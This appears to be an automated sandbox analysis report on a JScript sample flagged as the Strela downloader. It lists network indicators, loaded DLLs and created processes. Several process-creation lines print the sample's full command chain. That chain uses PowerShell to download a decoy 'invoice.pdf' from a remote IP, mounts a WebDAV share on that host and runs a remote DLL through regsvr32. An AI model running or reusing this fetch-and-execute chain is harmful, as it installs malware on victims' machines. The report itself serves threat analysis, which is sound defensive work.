HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.2305630888.000002B821A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2518640700.000001F0B6B28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2518640700.000001F0B6B82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000009.00000002.2518640700.000001F0B6B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/xH
Source: svchost.exe, 0000000B.00000002.3579914652.0000022272800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.11.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.10.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000B.00000003.2518576945.00000222725A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 280, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17048156412338914445.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3392:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fyj0xrb.rhf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ReaderMessages-journal.7.dr

Binary or memory string: CREATE TABLE GlobalState (LastSuccessfulSync DATE, HTTPModifiedDate DATE, FileLastModifiedDate DATE, TestPopulation VARCHAR(30), TestSegment VARCHAR(30), ProductName VARCHAR(30), ProductMajorVersion INTEGER, ProductMinorVersion INTEGER, LicenseState VARCHAR(15), Language VARCHAR(15), OEM VARCHAR(15), Channel VARCHAR(15) )P j;

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1648,i,5533572274708522067,2583551594818797264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1648,i,5533572274708522067,2583551594818797264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
